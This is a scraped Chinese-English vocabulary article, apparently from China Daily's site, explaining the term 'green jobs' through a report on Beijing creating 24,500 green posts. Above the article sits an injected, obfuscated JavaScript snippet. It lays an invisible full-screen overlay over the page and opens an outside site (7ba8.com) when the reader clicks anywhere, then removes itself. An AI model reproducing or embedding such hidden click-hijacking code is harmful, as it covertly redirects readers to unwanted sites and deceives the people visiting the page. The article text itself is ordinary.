<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>月19日，北京市绿色岗位就业经验推进会在顺义区举行。据悉，截至去年底，全市新开发绿色就业岗位2.45万个，帮助本市1.63万名城乡劳动力就业，实现了促进就业与经济发展的良性互动。
请看中国日报网的报道：
Some 24,500 green jobs have been created by the end of last year, a great relief of employment pressure.
截至去年底，全市新开发绿色就业岗位2.45万个，极大地缓解了就业压力。
文中的green jobs (green employment)就是指“绿色就业”，指在节能环保等"绿色"产业中开发就业机会，带动environmental industries（环保产业）的崛起。发展绿色节能环保产业，推动energy saving and emission reduction（节能减排）工程、ecological restoration（生态恢复）工程建设，加强environmental infrastructure（环境基础设施）建设，创造就业岗位，应是应对当前金融危机冲击下国内employment pressure（就业压力）剧增的一剂良方。
近年来，北京市启动了绿色就业行动计划，努力开发从事environmental and ecological protection work（环境和生态保护工作）的直接性绿色岗位，从事green products（绿色产品）生产和服务的间接性绿色岗位，以及从事治理污染等领域的绿色转化岗位，积极推动绿色就业，实现了促进就业与经济发展的良性互动。
![]()
![]() |
收藏